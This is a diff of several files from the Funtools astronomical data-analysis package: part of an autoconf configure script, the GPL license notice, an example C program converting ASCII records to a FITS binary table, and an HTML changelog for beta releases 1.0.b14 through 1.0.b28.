GNUPLOT="NONE"
|
||||
else
|
||||
GNUPLOT="$gnuplot"
|
||||
fi
|
||||
|
||||
AC_MSG_CHECKING([$host_os configuration])
|
||||
PRE=""
|
||||
POST="|\& cat"
|
||||
case $host_os in
|
||||
*cygwin*|*Cygwin* )
|
||||
CFLAGS="$CFLAGS -enable-auto-import"
|
||||
AC_DEFINE([HAVE_CYGWIN])
|
||||
AC_MSG_RESULT(flagging Cygwin)
|
||||
PRE="sh -c {"
|
||||
POST="}"
|
||||
;;
|
||||
*mingw32*|*Mingw32*)
|
||||
CFLAGS="$CFLAGS -mconsole -D_WSTRING_DEFINED=1"
|
||||
EXTRA_LIBS="$EXTRA_LIBS -lwsock32"
|
||||
AC_DEFINE([HAVE_MINGW32])
|
||||
AC_MSG_RESULT(flagging MinGW)
|
||||
;;
|
||||
*osf*|*Osf*)
|
||||
AC_CHECK_LIB(db, snprintf, EXTRA_LIBS="$EXTRA_LIBS -ldb")
|
||||
;;
|
||||
*darwin*|*Darwin*)
|
||||
LDFLAGS="$LDFLAGS $CFLAGS"
|
||||
G=`$CC -v 2>&1 | grep version | awk '{print $3}' | awk -F. '{print $1$2}'`
|
||||
if test x"$G" != x -a "$G" -lt 42; then
|
||||
CFLAGS="$CFLAGS -no-cpp-precomp"
|
||||
fi
|
||||
if test x"$fpic" = x"yes" ; then
|
||||
CFLAGS="$CFLAGS -fPIC"
|
||||
AC_MSG_RESULT([adding -fno-common, -fPIC to CFLAGS])
|
||||
else
|
||||
AC_MSG_RESULT([adding -fno-common to CFLAGS])
|
||||
fi
|
||||
;;
|
||||
* )
|
||||
if test x"$fpic" = x"yes" ; then
|
||||
if test "$CC" = "gcc" -o `$CC -v 2>&1 | grep -c gcc` != "0" ; then
|
||||
CFLAGS="$CFLAGS -fPIC"
|
||||
AC_MSG_RESULT(adding -fPIC to gcc)
|
||||
else
|
||||
AC_MSG_RESULT(none)
|
||||
fi
|
||||
else
|
||||
AC_MSG_RESULT(none)
|
||||
fi
|
||||
;;
|
||||
esac
|
||||
|
||||
AC_SUBST(EXTRA_LIBS)
|
||||
AC_SUBST(EXTRA_OBJS)
|
||||
AC_SUBST(PRE)
|
||||
AC_SUBST(POST)
|
||||
AC_SUBST(AWK)
|
||||
AC_SUBST(GUNZIP)
|
||||
AC_SUBST(GNUPLOT)
|
||||
AC_SUBST(PIPEGLUE)
|
||||
|
||||
AC_CONFIG_FILES(Makefile ./gnu/Makefile ./funtest/Makefile ./faq/Makefile)
|
||||
|
||||
# generate pkg-config meta-data file
|
||||
AC_CONFIG_FILES(funtools.pc)
|
||||
|
||||
# for individual package that create libraries, we must run configure again,
|
||||
# faking the subdirs into using the funtools library as their library
|
||||
# this will run faster with --config-cache
|
||||
ac_configure_args="--with-altlib=`pwd`/$LIB $ac_configure_args"
|
||||
# AC_CONFIG_SUBDIRS(util fitsy filter wcs)
|
||||
AC_CONFIG_SUBDIRS(util)
|
||||
AC_CONFIG_SUBDIRS(fitsy)
|
||||
AC_CONFIG_SUBDIRS(filter)
|
||||
AC_CONFIG_SUBDIRS(wcs)
|
||||
|
||||
AC_OUTPUT
|
|
@ -0,0 +1,30 @@
|
|||
Unless otherwise indicated, all source is:
|
||||
|
||||
Copyright (C) 1999-2007
|
||||
Smithsonian Astrophysical Observatory, Cambridge, MA, USA
|
||||
|
||||
Funtools is free software; you can redistribute it and/or modify it
|
||||
under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation; either version 2 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program; if not, write to the Free Software
|
||||
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
|
||||
|
||||
Correspondence concerning Funtools should be addressed as follows:
|
||||
|
||||
Eric Mandel
|
||||
Smithsonian Astrophysical Observatory
|
||||
MS 3
|
||||
60 Garden St.
|
||||
Cambridge, MA 02138 USA
|
||||
|
||||
eric@cfa.harvard.edu
|
||||
|
||||
http://hea-www.harvard.edu/saord/funtools/
|
|
@ -0,0 +1,86 @@
|
|||
/*
|
||||
*
|
||||
* asc2fits foo.fits < foo.ascii
|
||||
*
|
||||
* This is an example of generating a binary table from specific ASCII input.
|
||||
* The more general case is much harder.
|
||||
*
|
||||
*/
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <funtools.h>
|
||||
|
||||
#define SZ_LINE 1024
|
||||
#define MAXREC 30
|
||||
|
||||
typedef struct EvStruct{
|
||||
int x, y, pha;
|
||||
double time;
|
||||
} *Event, EventRec;
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
int got, put;
|
||||
char tbuf[SZ_LINE];
|
||||
Fun fun;
|
||||
EventRec events[MAXREC];
|
||||
Event ev;
|
||||
|
||||
/* exit on gio errors */
|
||||
setgerror(2);
|
||||
|
||||
if( argc < 2 ){
|
||||
fprintf( stderr, "usage: %s oname\n", argv[0]);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
/* open output file */
|
||||
if( !(fun = FunOpen(argv[1],"w", NULL)) )
|
||||
gerror(stderr, "Could not open the output file: %s\n", argv[1]);
|
||||
|
||||
/* set up the (hardwired) columns */
|
||||
FunColumnSelect( fun, sizeof(EventRec), NULL,
|
||||
"x", "J", "w", FUN_OFFSET(Event, x),
|
||||
"y", "J", "w", FUN_OFFSET(Event, y),
|
||||
"pha", "J", "w", FUN_OFFSET(Event, pha),
|
||||
"time", "D", "w", FUN_OFFSET(Event, time),
|
||||
NULL);
|
||||
|
||||
/* ignore first line, which is the header */
|
||||
fgets(tbuf, SZ_LINE, stdin);
|
||||
|
||||
/* process data lines */
|
||||
got = 0;
|
||||
/* get next line */
|
||||
while( fgets(tbuf, SZ_LINE, stdin) ){
|
||||
/* ignore comments */
|
||||
if( (*tbuf == '\n') || (*tbuf == '#') )
|
||||
continue;
|
||||
/* point to next buffer to fill */
|
||||
ev = &events[got];
|
||||
/* parse data record */
|
||||
if(sscanf(tbuf, "%d %d %d %lf", &ev->x, &ev->y, &ev->pha, &ev->time) != 4)
|
||||
break;
|
||||
/* got another record */
|
||||
got++;
|
||||
/* flush this batch of records if necessary */
|
||||
if( got == MAXREC ){
|
||||
if( (put=FunTableRowPut(fun, events, got, 0, NULL)) != got ){
|
||||
gerror(stderr, "expected to write %d rows; only wrote %d\n",
|
||||
got, put);
|
||||
}
|
||||
/* reset record counter */
|
||||
got = 0;
|
||||
}
|
||||
}
|
||||
/* final flush */
|
||||
if( got ){
|
||||
if( (put=FunTableRowPut(fun, events, got, 0, NULL)) != got ){
|
||||
gerror(stderr, "expected to write %d rows; only wrote %d\n",
|
||||
got, put);
|
||||
}
|
||||
}
|
||||
FunClose(fun);
|
||||
return(0);
|
||||
}
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,953 @@
|
|||
<HTML>
|
||||
<HEAD>
|
||||
<TITLE>Funtools ChangeLog</TITLE>
|
||||
</HEAD>
|
||||
<BODY>
|
||||
<H2>Funtools ChangeLog</H2>
|
||||
|
||||
<P>
|
||||
This ChangeLog covers both the Funtools library and the suite of
|
||||
applications. It will be updated as we continue to develop and improve
|
||||
Funtools. The up-to-date version can be found <A
|
||||
HREF="http://hea-www.harvard.edu/RD/funtools/changelog.html">here</A>.
|
||||
|
||||
<H2>Beta release 1.0.b28 (06/26/01)</H2>
|
||||
<UL>
|
||||
|
||||
<P>
|
||||
<LI> In funcnts, removed extra new-lines from the primary table,
|
||||
inadvertently added in cases where zero-area rows are skipped.
|
||||
|
||||
<P>
|
||||
<LI> Added code to support columns in binary tables that do not have names.
|
||||
|
||||
<P>
|
||||
<LI> Changed the ds9 radial plot so that the radius (x value) for each
|
||||
plotted point is taken to be the middle of the annulus, (Rin+Rout)/2,
|
||||
instead of just the inner annulus, Rin.
|
||||
|
||||
</UL>
|
||||
|
||||
<H2>Beta release 1.0.b27 (06/21/01)</H2>
|
||||
<UL>
|
||||
|
||||
<P>
|
||||
<LI> Added missing new-lines in funcnts primary tables that did not
|
||||
have -r switch.
|
||||
|
||||
<P>
|
||||
<LI> Filtering with dynamic shared objects (gcc only) now links the
|
||||
region code into the shared object, instead of relying on finding the
|
||||
region code in global space.
|
||||
|
||||
<P>
|
||||
<LI> A few minor changes to column headers in funcnts.
|
||||
</UL>
|
||||
|
||||
<H2>Beta release 1.0.b26 (05/21/01)</H2>
|
||||
<UL>
|
||||
<P>
|
||||
<LI> Fixed funcnts to work properly when the background region
|
||||
overlaps the source and therefore explicitly excludes the source.
|
||||
It was simply ignoring the source regions in such a case.
|
||||
|
||||
<P>
|
||||
Added a second DS9 init file, funcnts2.ds9, which contains funcnts
|
||||
and radial profile routines that work from the image stored in DS9's
|
||||
memory, rather than the original FITS file. This is useful in cases
|
||||
where no original FITS file exists (e.g., a temp file was created
|
||||
by a program and sent to DS9).
|
||||
|
||||
<P>
|
||||
<LI> Fixed funcnts so that region specified with a variable number of
|
||||
arguments must come last (as is the case with panda and the n=
|
||||
accelerator). Thus, a region specification such as "pie 504 512 10 20
|
||||
30 & circle 504 512 10" is now properly an error. Using "circle 504 512 10
|
||||
& pie 504 512 10 20 30" instead ensures that the circle is applied to
|
||||
each pie.
|
||||
|
||||
<P>
|
||||
<LI> Fixed funcnts output of radii/angles when boolean expressions
|
||||
such as "pie & annulus" are specified.
|
||||
|
||||
<P>
|
||||
<LI> Enhanced funcnts so that -r outputs valid radii for circular regions.
|
||||
|
||||
</UL>
|
||||
|
||||
<H2>Beta release 1.0.b25 (4/19/01)</H2>
|
||||
<UL>
|
||||
|
||||
<P>
|
||||
<LI> Added support to funtable to generate a FITS binary table
|
||||
from an image. By default, a 3-column table is generated, where the
|
||||
columns are "X", "Y", and "VALUE". For each pixel in the image, a
|
||||
single row (event) is generated with the "X" and "Y" columns assigned
|
||||
the dim1 and dim2 values of the image pixel, respectively and the
|
||||
"VALUE" column assigned the value of the pixel. If the -i
|
||||
("individual" rows) switch is specified, then only the "X" and "Y"
|
||||
columns are generated. However the number of rows (events) are written
|
||||
out for each image pixel is equal to the value of that image pixel(or
|
||||
1, whichever is larger).
|
||||
|
||||
<P>
|
||||
<LI> Added -z switch to funcnts to display shapes in primary table
|
||||
that have no area. This is useful when automatic processing assumes
|
||||
that there are a set number of rows.
|
||||
|
||||
<P>
|
||||
<LI> Reworked how the "$region" column is handled. A "$region" column
|
||||
can now be added to a table already having a "region" column. If a
|
||||
"region" column already exists, the new column will be "region1". If
|
||||
that exists, we try "region2", etc.
|
||||
|
||||
<P>
|
||||
<LI> Added the header parameters EXTNAME="IMAGE" and EXTVER=1 when an
|
||||
image extension of created automatically.
|
||||
|
||||
<P>
|
||||
<LI> When funcnts is run with -r, the rad1, rad2, ang1, and ang2 columns
|
||||
are filled in with "NA" if the shape is not annulus, pie, or panda (instead
|
||||
of being left blank).
|
||||
|
||||
<P>
|
||||
<LI> Changed funcnts to display arc-sec/pixel instead of degrees/pixel in the
|
||||
output header.
|
||||
|
||||
<P>
|
||||
<LI> Fixed bug in FunColumnSelect() that prevented a new table from
|
||||
being created that consists only of new columns.
|
||||
|
||||
<P>
|
||||
<LI> Fixed processing of blank values in FunImageRowGet() (was a SEGV).
|
||||
|
||||
<P>
|
||||
<LI> Fixed fundisp processing of images (SEGV upon completion, trying to
|
||||
free space only used by tables).
|
||||
|
||||
<P>
|
||||
<LI> Fixed bug in funcalc which left executable in /tmp space if -n
|
||||
(no execute) was specified.
|
||||
|
||||
<P>
|
||||
<LI>Fixed various bugs processing raw event files, especially on
|
||||
little-endian machines and reading these files via stdin.
|
||||
|
||||
<P>
|
||||
<LI> Changed rad1, rad2 columns to radius1, radius2 in funcnts.
|
||||
|
||||
<P>
|
||||
<LI> Purified dynamically loaded filter code (since purify now can work
|
||||
with gcc).
|
||||
|
||||
</UL>
|
||||
|
||||
<H2>Beta release 1.0.b24 (03/26/01)</H2>
|
||||
<UL>
|
||||
|
||||
<P>
|
||||
<LI> First release of <B>funcalc</B>, the Funtools table calculator.
|
||||
funcalc is a calculator program that allows arbitrary
|
||||
expressions to be constructed, compiled, and executed on columns in a
|
||||
Funtools table (FITS binary table or raw event file). It works by
|
||||
integrating user-supplied expression(s) into a template C program,
|
||||
then compiling and executing the program. funcalc expressions
|
||||
are valid C statements, although some important simplifications (such
|
||||
as automatic declaration of variables) are supported.
|
||||
|
||||
Within a funcalc expression, reference is made to a
|
||||
column of the <B>current</B> row using the C syntax
|
||||
<B>cur->[colname]</B>, e.g. cur->x, cur->pha, etc. Local scalar
|
||||
variables can either be defined using C syntax at very the beginning
|
||||
of the expression, or else they can be defined automatically by
|
||||
funcalc (to be of type double). Thus, for example, a swap of
|
||||
columns x and y in a table can be performed using either of the following
|
||||
equivalent funcalc expressions:
|
||||
<PRE>
|
||||
double temp;
|
||||
temp = cur->x;
|
||||
cur->x = cur->y;
|
||||
cur->y = temp;
|
||||
</PRE>
|
||||
or:
|
||||
<PRE>
|
||||
temp = cur->x;
|
||||
cur->x = cur->y;
|
||||
cur->y = temp;
|
||||
</PRE>
|
||||
When this expression is executed using a command such as:
|
||||
<PRE>
|
||||
funcalc -f swap.expr itest.ev otest.ev
|
||||
</PRE>
|
||||
the resulting file will have values of the x and y columns swapped.
|
||||
Many other features are available in funcalc to make table
|
||||
manipulation easy. See the Funtools program.html documentation.
|
||||
|
||||
<P>
|
||||
<LI> First release of the <B>funtools.ds9</B> set-up file for adding
|
||||
Funtools analysis programs to the DS9 Analysis menu. This set-up file
|
||||
is installed in the same bin directory where Funtools programs are
|
||||
installed and can be loaded into DS9 from the <B>Load Analysis
|
||||
Commands ...</B> option of the <B>Analysis</B> menu. Alternatively,
|
||||
you can tell DS9 to load this file each time it starts by adding the
|
||||
file to the <B>Edit</B>-><B>Preferences</B>-><B>Analysis
|
||||
Menu</B>-><B>Analysis File</B> menu option.
|
||||
|
||||
<P>
|
||||
<LI> Added support for non-integral binning of binary tables. The bincols
|
||||
specifier on the command line now can take the form:
|
||||
<PRE>
|
||||
bincols=([xname[:tlmin[:tlmax:[binsiz]]]],[yname[:tlmin[:tlmax[:binsiz]]]])
|
||||
</PRE>
|
||||
where the tlmin, tlmax, and binsiz specifiers determine the image binning
|
||||
dimensions:
|
||||
<PRE>
|
||||
dim = (tlmax - tlmin)/binsiz (floating point data)
|
||||
dim = (tlmax - tlmin)/binsiz + 1 (integer data)
|
||||
</PRE>
|
||||
These tlmin, tlmax, and binsiz specifiers can be omitted if TLMIN,
|
||||
TLMAX, and TDBIN header parameters (respectively) are present in the
|
||||
FITS binary table header for the column in question. Note that if
|
||||
only one parameter is specified, it is assumed to be tlmax, and tlmin
|
||||
defaults to 1. If two parameters are specified, they are assumed to be
|
||||
tlmin and tlmax.
|
||||
|
||||
<P>
|
||||
<LI> Added "mask=transparent" support to the plist argument in
|
||||
FunTableRowGet(). If this string is passed in the call's plist
|
||||
argument, then all events are passed back to the user. This is useful
|
||||
when FunColumnSelect() specifies "$region" as a column in order to
|
||||
return the regionid value for each event. In such a case, events
|
||||
found in a region have regionid >0, events passing the filter but not
|
||||
in a region have regionid == -1, events not passing the filter have
|
||||
regionid ==0.
|
||||
|
||||
<P>
|
||||
<LI> Added FUN_WCS0 to the FUN_WCS option available to FunInfoGet().
|
||||
The original FUN_WCS option returns WCS Library handle (for use with
|
||||
Doug Mink's wcssubs library) suitable for use with images, regardless
|
||||
of whether the data are images or tables. For this structure, the WCS
|
||||
reference point (CRPIX) has been converted to image coordinates if the
|
||||
underlying file is a table (and therefore in physical coordinates). The
|
||||
new FUN_WCS0 structure has not had its WCS reference point converted
|
||||
to image coordinates. It therefore is useful when passing processing
|
||||
physical coordinates from a table.
|
||||
|
||||
<P>
|
||||
<LI> Added -G switch to funcnts to print out floating point values
|
||||
with maximum %.14g precision.
|
||||
|
||||
<P>
|
||||
<LI> Added -l switch to fundisp, which displays the pixels of an image as
|
||||
a list with X, Y, VAL columns.
|
||||
|
||||
<P>
|
||||
<LI> Added support for images to funhist. The program will create
|
||||
a histogram of the values found in each pixel, or it can perform
|
||||
a projection over either axis.
|
||||
|
||||
<P>
|
||||
<LI> All Funtools programs now accept "-" to mean "stdin" or "stdout",
|
||||
when the io mode is "r" or "w", respectively.
|
||||
|
||||
<P>
|
||||
<LI> Changed behavior of the prec (precision) argument in FunParamPutd()
|
||||
(and the underlying fitsy routine ft_cardfmt()) so that if the double
|
||||
value being put is less than 0.1 or greater than or equal to
|
||||
10**(20-2-prec), then %20.[prec]e format is used, otherwise
|
||||
%20.[prec]f format is used.
|
||||
|
||||
<P>
|
||||
<LI> Fixed behavior of "merge=replace" in FunColumnSelect() so that if
|
||||
tlmin/tlmax values are not specified in the replacing column, but are
|
||||
specified in the replaced column, then the original tlmin/tlmax values
|
||||
are used in the replacing column.
|
||||
|
||||
<P>
|
||||
<LI> Improved funcnts error-handling when no valid region is specified.
|
||||
|
||||
<P>
|
||||
<LI> Fixed region parsing of '#' comment character so that comments
|
||||
are terminated by new-lines, but not ';'. This is more intuitive behavior.
|
||||
|
||||
<P>
|
||||
<LI> Fixed region parser so that a region (without parens), followed by
|
||||
a column expression (e.g., "circle 5 5 1,pha==4") is processed correctly.
|
||||
|
||||
<P>
|
||||
<LI> Fixed funcnts so that the timecorr parameter specified by -t
|
||||
[timecorr] can be in lower case.
|
||||
|
||||
<P>
|
||||
<LI> Fixed panda region shapes when processing a blocked image. The
|
||||
number of pies and number of annuli (args 5 and 8) were incorrectly
|
||||
being divided by the block factor (i.e., they were being treated as
|
||||
sizes).
|
||||
|
||||
<P>
|
||||
<LI> Fixed bug in funcnts that resulted in slightly smaller
|
||||
integerized pixel boundaries being used when filtering events. This
|
||||
does not affect ordinary event filtering(in fundisp, funtable, etc.).
|
||||
In funcnts (which filters binary table events using image-style pixel
|
||||
filtering), this bug could result in fewer photons being counted than
|
||||
is the case when the equivalent image is used.
|
||||
|
||||
<P>
|
||||
<LI> Fixed funcnts to work with raw event files on little-endian machines.
|
||||
|
||||
<P>
|
||||
<LI> Fixed funhist so that it will read data from a pipe.
|
||||
|
||||
<P>
|
||||
<LI> Fixed region parser (and funcnts) so that an include file ending
|
||||
with a comment stops the comment at the end of the include file.
|
||||
|
||||
<P>
|
||||
<LI> Clarified the meaning of the "," operator (should it be "or" or
|
||||
"and") between a region and a non-region expression in a filter: if
|
||||
the second operand in the expression contains a region, the operator
|
||||
is "or", otherwise it is "and".
|
||||
|
||||
<P>
|
||||
<LI> Fixed bug in funmerge, which was not handling integerization of
|
||||
negatively-valued physical pixels properly (not actually used in any
|
||||
known application).
|
||||
|
||||
</UL>
|
||||
|
||||
<H2>Beta release 1.0.b23 (02/16/01)</H2>
|
||||
<UL>
|
||||
<P>
|
||||
<LI> Fixed funcnts to report area correctly in arc-seconds.
|
||||
|
||||
<P>
|
||||
<LI> Fixed funcnts to report radii correctly when summing.
|
||||
|
||||
<P>
|
||||
<LI> Fixed bug in fundisp: a SEGV when trying to display an ASCII column
|
||||
from a binary table.
|
||||
|
||||
</UL>
|
||||
|
||||
<H2>Beta release 1.0.b22 (02/15/01)</H2>
|
||||
<UL>
|
||||
|
||||
<P>
|
||||
<LI> Funcnts now will automatically output appropriate columns from
|
||||
the primary table in units of arc-seconds instead of pixels if WCS info
|
||||
is present. Use -p to force the output to be in pixels.
|
||||
|
||||
<P>
|
||||
<LI> Added qualitative exposure correction to funcnts by means of the switch
|
||||
"-e source_exp[;background_exp]". For each region, the average exposure is
|
||||
calculated and net counts (and background) are divided by the average
|
||||
exposure. See programs.html for more info.
|
||||
|
||||
<P>
|
||||
<LI> Added qualitative time correction to funcnts by means of the switch
|
||||
"-t source_time[;background_time]". The net counts (and background) are
|
||||
divided by this time. See programs.html for more info.
|
||||
|
||||
<P>
|
||||
<LI> Improved funcnts output. For example, column units are displayed
|
||||
(since surf_bri units now can be cnts/pix**2, cnts/arcsec**2, etc.)
|
||||
|
||||
<P>
|
||||
<LI> Changed funcnts.gnuplot and funhist.gnuplot scripts to funcnts.plot
|
||||
and funhist.plot, respectively. The new scripts take an argument
|
||||
such as "gnuplot" or "ds9" and output data appropriate for each
|
||||
target. Also enhanced funcnts.plot so that it senses the axis units
|
||||
automatically.
|
||||
|
||||
<P>
|
||||
<LI> Fixed bug in funcnts when handling regions whose centers are out of the
|
||||
image. Processing often resulted in BUS ERROR or zero counts, and it took
|
||||
forever to reach those results
|
||||
|
||||
<P>
|
||||
<LI> Fixed bug in FunImagePut() when outputting float data on
|
||||
little-endian machines (PCs/Dec Alpha) -- an erroneous error was
|
||||
signaled trying to convert from native to IEEE before writing.
|
||||
|
||||
<P>
|
||||
<LI> Fixed bug in fundisp when displaying the mask of a double/float
|
||||
image using the mask=all option.
|
||||
|
||||
<P>
|
||||
<LI> Fixed bug in fitsy/headimage/ft_imageloadhead(fits), in which the
|
||||
default value for LTV[1,2] was incorrectly set to 1.0, not 0.0. This
|
||||
means that region physical coordinates applied to FITS images and
|
||||
arrays that did not have LTM/LTV keywords were 1 pixel off.
|
||||
|
||||
<P>
|
||||
<LI> Fixed obscure bug in region circle processing when a block factor
|
||||
is specified in the section command but the circle has radius less
|
||||
than the block.
|
||||
|
||||
<P>
|
||||
<LI> Fixed bug in FunImageGet which was returning the full image in
|
||||
cases where a region was specified but no image pixels were in the
|
||||
region. An empty image is now returned.
|
||||
</UL>
|
||||
|
||||
<H2>Beta release 1.0.b21 (02/01/01)</H2>
|
||||
<UL>
|
||||
|
||||
<P>
|
||||
<LI> In funcnts, added ability to specify a separate background file.
|
||||
When using a separate background file, the background area will be
|
||||
normalized by the ration of the pixel sizes of the two files, if
|
||||
requisite WCS info is available.
|
||||
|
||||
<P>
|
||||
<LI> In funcnts, added -r switch to output radii (and angle)
|
||||
information. This is useful with annulus and panda shapes when
|
||||
plotting radial profiles. An example plot script, funcnts.gnuplot, is
|
||||
available for use with gnuplot (3.7 and higher):
|
||||
<PRE>
|
||||
funcnts ... | funcnts.gnuplot
|
||||
</PRE>
|
||||
|
||||
<P>
|
||||
<LI> First version of the funhist program, which creates a 1D
|
||||
histogram by binning the specified column in a binary table. The
|
||||
tabular output can be plotted using funhist.gnuplot:
|
||||
<PRE>
|
||||
funhist snr.ev x | funhist.gnuplot
|
||||
</PRE>
|
||||
|
||||
<P>
|
||||
<LI> Added additional error messages to funcnts when invalid binning
|
||||
parameters are found for one or more binary table binning columns.
|
||||
|
||||
<P>
|
||||
<LI> Fixed bug in FunImagePut() which sometimes occurred when
|
||||
dimensions were passed in the calling sequence. If, in addition, a
|
||||
reference handle was passed in the FunOpen() call, then the output
|
||||
dimensions are erroneously taken from the reference file, not the
|
||||
passed dimensions.
|
||||
|
||||
<P>
|
||||
<LI> Fixed bug in filter lex code (filt.l) in which yyrestart was
|
||||
being called incorrectly with the string to be parsed as the argument
|
||||
(should be NULL).
|
||||
|
||||
<P>
|
||||
<LI> Fixed bug in filter code in which the Sun cc compiler was creating
|
||||
a useless .o file in the working directory.
|
||||
|
||||
<P>
|
||||
<LI> Fixed bug in region parser which made it impossible to specify
|
||||
angles with a 'd' or 'r' suffix unless WCS info was in the file. (The
|
||||
use of 'd' or 'r' with angle is independent of WCS but the check was
|
||||
there anyway.)
|
||||
|
||||
</UL>
|
||||
|
||||
<H2>Beta release 1.0.b20 (11/29/00)</H2>
|
||||
<UL>
|
||||
|
||||
<P>
|
||||
<LI> Fixed a serious bug in which exclude regions were being ignored
|
||||
when multiple annuli were specified. That is, in a region specification
|
||||
such as:
|
||||
<PRE>
|
||||
annulus 512 512 0 100 n=4; -circle 510 510 20
|
||||
</PRE>
|
||||
or
|
||||
<PRE>
|
||||
annulus 512 512 0 25 50 75 100; -circle 510 510 20
|
||||
</PRE>
|
||||
the excluded region was not being sensed properly. Note that
|
||||
single regions did work properly with exclude regions.
|
||||
|
||||
<P>
|
||||
<LI> Optimized funcnts so that the time for processing an event list
|
||||
(binary table) is no longer proportional to the number of pixels in
|
||||
the image. The unoptimized code was taking forever with Chandra ACIS
|
||||
images (8192**2 pixels), even with relatively few events.
|
||||
|
||||
<P>
|
||||
<LI> Fixed bugs that gave incorrect answers when image regions were
|
||||
combined with image sections.
|
||||
|
||||
<P>
|
||||
<LI> Fixed bug in parsing image section of the form: "foo.fits[*,6:9,2]",
|
||||
i.e. the default ("*") x dimensions, followed by specified y dimensions.
|
||||
|
||||
<P>
|
||||
<LI> Added -g option to funcnts to change some output formats from
|
||||
12.3f to 12.3g to accommodate display of very small numbers.
|
||||
</UL>
|
||||
|
||||
<H2>Beta release 1.0.b19 (11/21/00)</H2>
|
||||
<UL>
|
||||
<P>
|
||||
<LI> Fixed bug in filter code that caused a SEGV on Solaris machines
|
||||
when the first specified spatial region is an exclude region. Our
|
||||
user-supplied qsort/compare algorithm was confusing the Solaris qsort()
|
||||
routine, causing it to SEGV by trying to process a record prior to the
|
||||
beginning of the passed array of records.
|
||||
</UL>
|
||||
|
||||
<H2>Beta release 1.0.b18 (11/13/00)</H2>
|
||||
<UL>
|
||||
<P>
|
||||
<LI> Fixed bug in handling bitpix=-32 (single float) images.
|
||||
|
||||
<P>
|
||||
<LI> Fixed gio gskip routine to better handle skip of 0 bytes.
|
||||
</UL>
|
||||
|
||||
<H2>Beta release 1.0.b17 (11/10/00)</H2>
|
||||
<UL>
|
||||
|
||||
<P>
|
||||
<LI> Fixed working of $REGION keyword in funtable.
|
||||
|
||||
<P>
|
||||
<LI> Removed FunFlush() from end of funtable (it was redundant).
|
||||
|
||||
<P>
|
||||
<LI> Fixed bug in gopen() handling of "pipe:".
|
||||
|
||||
<P>
|
||||
<LI> Fixed bug in gseek() where pipes, streams, and sockets were
|
||||
not skipping bytes properly (that can do skips, but cannot do other
|
||||
sorts of seek).
|
||||
|
||||
</UL>
|
||||
|
||||
<H2>Beta release 1.0.b16 (10/23/00)</H2>
|
||||
<UL>
|
||||
|
||||
<P>
|
||||
<LI> Added -s switch to funcnts to support display of summed results
|
||||
(as well as individual results for each region), i.e. each row in the
|
||||
summed bkgd-subtracted table contains the sum of counts and areas from
|
||||
previous rows.
|
||||
|
||||
<P>
|
||||
<LI> Added -f [format] switch to fundisp to allow control over the
|
||||
display format for each data type.
|
||||
|
||||
<P>
|
||||
<LI> Fixed bug in which regions could be incorrectly re-ordered. This
|
||||
was a problem with annular ellipses and rectangles created by ds9 and
|
||||
then used in funcnts (the only program where the order of the regions is
|
||||
important).
|
||||
</UL>
|
||||
|
||||
<H2>Beta release 1.0.b15 (10/11/00)</H2>
|
||||
<UL>
|
||||
|
||||
<P>
|
||||
<LI> Changed the names of routines FunEventsGet() and FunEventsPut()
|
||||
to FunTableRowGet() and FunTableRowPut(), respectively. The old names
|
||||
are still valid (using #define in funtools.h), so no code change is
|
||||
required.
|
||||
|
||||
<P>
|
||||
<LI> Changed funevents program name to funtable, in line with API changes.
|
||||
|
||||
<P>
|
||||
<LI> Renamed FunInfoGet/Put() parameter FUN_EVSIZE to FUN_ROWSIZE, in
|
||||
order to reflect change from use of "events" to use of "row" in
|
||||
funtools binary table support. The old name is still supported as
|
||||
an alias.
|
||||
|
||||
<P>
|
||||
<LI> Completed first version of funmerge program to merge FITS binary tables.
|
||||
|
||||
<P>
|
||||
<LI> Fixed bug in line region shape that was causing a SEGV with event data.
|
||||
|
||||
<P>
|
||||
<LI> Fixed minor compiler warnings using "gcc-Wall".
|
||||
|
||||
<P>
|
||||
<LI> Added the ability for FunOpen() to open a list of event files and
|
||||
read events from this list synchronously or asynchronously. This
|
||||
facility is part of an experimental set of parallel processing
|
||||
techniques that are being added to funtools. Documentation will be
|
||||
forthcoming when we know which techniques have value!
|
||||
</UL>
|
||||
|
||||
<H2>Beta release 1.0.b14 (9/22/00)</H2>
|
||||
<UL>
|
||||
|
||||
<P>
|
||||
<LI> Added first version of funmerge program to merge FITS binary tables.
|
||||
|
||||
<P>
|
||||
<LI> Changed the output format of funcnts so that the main results
|
||||
(background-subtracted table) are displayed first. This means that the
|
||||
result columns always start at line 4 in the file (after a 1-line
|
||||
comment and a 2-line header) and end at the first blank line. The
|
||||
fixed format makes it easier for programs such as sed to extract
|
||||
results for further processing. For example:
|
||||
|
||||
<PRE>
|
||||
csh> cat fun.sed
|
||||
1,/---- .*/d
|
||||
/^$/,$d
|
||||
|
||||
csh> funcnts snr.ev[pha==1] "annulus 512 512 0 200 n=8" | sed -f fun.sed
|
||||
1 49.000 7.000 0.000 0.000 1941 0.025 0.004
|
||||
2 91.000 9.539 0.000 0.000 5884 0.015 0.002
|
||||
3 129.000 11.358 0.000 0.000 9820 0.013 0.001
|
||||
4 159.000 12.610 0.000 0.000 13752 0.012 0.001
|
||||
5 176.000 13.266 0.000 0.000 17652 0.010 0.001
|
||||
6 183.000 13.528 0.000 0.000 21612 0.008 0.001
|
||||
7 137.000 11.705 0.000 0.000 25528 0.005 0.000
|
||||
8 198.000 14.071 0.000 0.000 29420 0.007 0.000
|
||||
</PRE>
|
||||
|
||||
<P>
|
||||
<LI> Fixed bug in row# processing in which all range was ignored if
|
||||
lo range value was 1 (e.g., row#=1:7).
|
||||
|
||||
<P>
|
||||
<LI> Fixed bug in event header processing in which the multiple
|
||||
instances of keywords HISTORY, COMMENT, and CONTINUE were not all
|
||||
being copied from the old to the new header (e.g. in funevents).
|
||||
|
||||
<P>
|
||||
<LI> Fixed processing of ARRAY() and EVENTS() specifiers in FunOpen().
|
||||
|
||||
<P>
|
||||
<LI> Fixed 'make clean' directive so that it also cleans funtools subdirs.
|
||||
